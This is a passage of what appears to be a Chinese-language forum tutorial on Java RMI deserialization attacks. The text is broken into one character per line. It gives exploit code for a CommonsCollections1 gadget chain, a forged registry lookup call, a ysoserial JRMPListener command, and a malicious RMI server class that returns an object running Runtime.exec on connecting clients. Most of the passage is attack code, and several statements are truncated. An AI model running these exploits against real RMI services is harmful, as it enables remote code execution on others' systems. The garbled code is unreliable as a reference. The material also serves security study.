t
o
r
=
c
o
n
s
t
r
u
c
t
o
r
s
[
0
]
;
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
M
a
p
m
a
p
=
(
M
a
p
)
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
i
n
n
e
r
m
a
p
,
c
h
a
i
n
)
;
C
o
n
s
t
r
u
c
t
o
r
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
m
a
p
_
h
a
n
d
l
e
r
=
(
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
)
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
,
m
a
p
)
;
M
a
p
p
r
o
x
y
_
m
a
p
=
(
M
a
p
)
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
C
l
a
s
s
L
o
a
d
e
r
.
g
e
t
S
y
s
t
e
m
C
l
a
s
s
L
o
a
d
e
r
(
)
,
n
e
w
C
l
a
s
s
[
]
{
M
a
p
.
c
l
a
s
s
}
,
m
a
p
_
h
a
n
d
l
e
r
)
;
C
o
n
s
t
r
u
c
t
o
r
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
h
a
n
d
l
e
r
=
(
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
)
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
,
p
r
o
x
y
_
m
a
p
)
;
R
e
g
i
s
t
r
y
r
e
g
i
s
t
r
y
=
L
o
c
a
t
e
R
e
g
i
s
t
r
y
.
g
e
t
R
e
g
i
s
t
r
y
(
"
1
2
7
.
0
.
0
.
1
"
,
1
0
9
9
)
;
R
e
m
o
t
e
r
=
R
e
m
o
t
e
.
c
l
a
s
s
.
c
a
s
t
(
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
R
e
m
o
t
e
.
c
l
a
s
s
.
g
e
t
C
l
a
s
s
L
o
a
d
e
r
(
)
,
n
e
w
C
l
a
s
s
[
]
{
R
e
m
o
t
e
.
c
l
a
s
s
}
,
h
a
n
d
l
e
r
)
)
;
/
/
获
取
r
e
f
F
i
e
l
d
[
]
f
i
e
l
d
s
_
0
=
r
e
g
i
s
t
r
y
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
S
u
p
e
r
c
l
a
s
s
(
)
.
g
e
t
S
u
p
e
r
c
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
s
(
)
;
f
i
e
l
d
s
_
0
[
0
]
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
U
n
i
c
a
s
t
R
e
f
r
e
f
=
(
U
n
i
c
a
s
t
R
e
f
)
f
i
e
l
d
s
_
0
[
0
]
.
g
e
t
(
r
e
g
i
s
t
r
y
)
;
/
/
获
取
o
p
e
r
a
t
i
o
n
s
F
i
e
l
d
[
]
f
i
e
l
d
s
_
1
=
r
e
g
i
s
t
r
y
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
s
(
)
;
f
i
e
l
d
s
_
1
[
0
]
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
O
p
e
r
a
t
i
o
n
[
]
o
p
e
r
a
t
i
o
n
s
=
(
O
p
e
r
a
t
i
o
n
[
]
)
f
i
e
l
d
s
_
1
[
0
]
.
g
e
t
(
r
e
g
i
s
t
r
y
)
;
/
/
伪
造
l
o
o
k
u
p
的
代
码
,
去
伪
造
传
输
信
息
R
e
m
o
t
e
C
a
l
l
v
a
r
2
=
r
e
f
.
n
e
w
C
a
l
l
(
(
R
e
m
o
t
e
O
b
j
e
c
t
)
r
e
g
i
s
t
r
y
,
o
p
e
r
a
t
i
o
n
s
,
2
,
4
9
0
5
9
1
2
8
9
8
3
4
5
6
4
7
0
7
1
L
)
;
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
3
=
v
a
r
2
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
3
.
w
r
i
t
e
O
b
j
e
c
t
(
r
)
;
r
e
f
.
i
n
v
o
k
e
(
v
a
r
2
)
;
}
}
攻
击
客
户
端
攻
击
客
户
端
注
册
中
心
攻
击
客
户
端
此
方
法
可
以
攻
击
客
户
端
和
服
务
端
对
于
注
册
中
心
来
说
,
我
们
还
是
从
这
几
个
方
法
触
发
:
b
i
n
d
u
n
b
i
n
d
r
e
b
i
n
d
l
i
s
t
l
o
o
k
u
p
除
了
u
n
b
i
n
d
和
r
e
b
i
n
d
都
会
返
回
数
据
给
客
户
端
,
返
回
的
数
据
是
序
列
化
形
式
,
那
么
到
了
客
户
端
就
会
进
行
反
序
列
化
,
如
果
我
们
能
控
制
注
册
中
心
的
返
回
数
据
,
那
么
就
能
实
现
对
客
户
端
的
攻
击
,
这
里
使
用
y
s
o
s
e
r
i
a
l
的
J
R
M
P
L
i
s
t
e
n
e
r
,
命
令
如
下
然
后
使
用
客
户
端
去
访
问
就
成
功
实
现
客
户
端
的
R
C
E
j
a
v
a
-
c
p
y
s
o
s
e
r
i
a
l
-
m
a
s
t
e
r
-
3
0
0
9
9
8
4
4
c
6
-
1
.
j
a
r
y
s
o
s
e
r
i
a
l
.
e
x
p
l
o
i
t
.
J
R
M
P
L
i
s
t
e
n
e
r
1
2
3
4
5
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
1
'
o
p
e
n
/
S
y
s
t
e
m
/
A
p
p
l
i
c
a
t
i
o
n
s
/
C
a
l
c
u
l
a
t
o
r
.
a
p
p
'
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
L
o
c
a
t
e
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
R
e
g
i
s
t
r
y
;
p
u
b
l
i
c
c
l
a
s
s
C
l
i
e
n
t
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
R
e
g
i
s
t
r
y
r
e
g
i
s
t
r
y
=
L
o
c
a
t
e
R
e
g
i
s
t
r
y
.
g
e
t
R
e
g
i
s
t
r
y
(
"
1
2
7
.
0
.
0
.
1
"
,
1
2
3
4
5
)
;
r
e
g
i
s
t
r
y
.
l
i
s
t
(
)
;
}
}
这
里
即
使
调
用
u
n
b
i
n
d
也
会
触
发
反
序
列
化
,
推
测
是
在
之
前
传
输
一
些
约
定
好
的
数
据
时
进
行
的
序
列
化
和
反
序
列
化
。
所
以
实
际
上
这
五
种
方
法
都
可
以
达
到
注
册
中
心
反
打
客
户
端
或
服
务
端
的
目
的
服
务
端
攻
击
客
户
端
服
务
端
攻
击
客
户
端
,
大
抵
可
以
分
为
以
下
两
种
情
景
。
1
.
服
务
端
返
回
参
数
为
O
b
j
e
c
t
对
象
2
.
远
程
加
载
对
象
在
R
M
I
中
,
远
程
调
用
方
法
传
递
回
来
的
不
一
定
是
一
个
基
础
数
据
类
型
(
S
t
r
i
n
g
、
i
n
t
)
,
也
有
可
能
是
对
象
,
当
服
务
端
返
回
给
客
户
端
一
个
对
象
时
,
客
户
端
就
要
对
应
的
进
行
反
序
列
化
。
所
以
我
们
需
要
伪
造
一
个
服
务
端
,
当
客
户
端
调
用
某
个
远
程
方
法
时
,
返
回
的
参
数
是
我
们
构
造
好
的
恶
意
对
象
。
这
里
以
c
c
1
为
例
恶
意
类
L
o
c
a
l
U
s
e
r
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
S
e
r
i
a
l
i
z
a
b
l
e
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
C
o
n
s
t
r
u
c
t
o
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
P
r
o
x
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
p
u
b
l
i
c
c
l
a
s
s
L
o
c
a
l
U
s
e
r
e
x
t
e
n
d
s
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
i
m
p
l
e
m
e
n
t
s
U
s
e
r
{
p
u
b
l
i
c
S
t
r
i
n
g
n
a
m
e
;
p
u
b
l
i
c
i
n
t
a
g
e
;
p
u
b
l
i
c
L
o
c
a
l
U
s
e
r
(
S
t
r
i
n
g
n
a
m
e
,
i
n
t
a
g
e
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
{
s
u
p
e
r
(
)
;
t
h
i
s
.
n
a
m
e
=
n
a
m
e
;
t
h
i
s
.
a
g
e
=
a
g
e
;
}
p
u
b
l
i
c
O
b
j
e
c
t
g
e
t
U
s
e
r
(
)
{
U
s
e
r
接
口
服
务
端
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
h
a
n
d
l
e
r
=
n
u
l
l
;
t
r
y
{
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
o
p
e
n
/
S
y
s
t
e
m
/
A
p
p
l
i
c
a
t
i
o
n
s
/
C
a
l
c
u
l
a
t
o
r
.
a
p
p
"
H
a
s
h
M
a
p
i
n
n
e
r
m
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
C
l
a
s
s
c
l
a
z
z
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
m
a
p
.
L
a
z
y
M
a
p
"
)
;
C
o
n
s
t
r
u
c
t
o
r
[
]
c
o
n
s
t
r
u
c
t
o
r
s
=
c
l
a
z
z
.
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
s
(
)
;
C
o
n
s
t
r
u
c
t
o
r
c
o
n
s
t
r
u
c
t
o
r
=
c
o
n
s
t
r
u
c
t
o
r
s
[
0
]
;
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
M
a
p
m
a
p
=
(
M
a
p
)
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
i
n
n
e
r
m
a
p
,
c
h
a
i
n
)
;
C
o
n
s
t
r
u
c
t
o
r
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
m
a
p
_
h
a
n
d
l
e
r
=
(
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
)
h
a
n
d
l
e
r
_
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
M
a
p
p
r
o
x
y
_
m
a
p
=
(
M
a
p
)
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
C
l
a
s
s
L
o
a
d
e
r
.
g
e
t
S
y
s
t
e
m
C
l
a
s
s
L
o
a
d
e
r
(
)
,
n
e
w
C
l
a
s
s
[
]
{
M
a
p
C
o
n
s
t
r
u
c
t
o
r
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
h
a
n
d
l
e
r
=
(
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
)
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
r
e
t
u
r
n
(
O
b
j
e
c
t
)
h
a
n
d
l
e
r
;
}
}
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
p
u
b
l
i
c
i
n
t
e
r
f
a
c
e
U
s
e
r
e
x
t
e
n
d
s
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
{
p
u
b
l
i
c
O
b
j
e
c
t
g
e
t
U
s
e
r
(
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页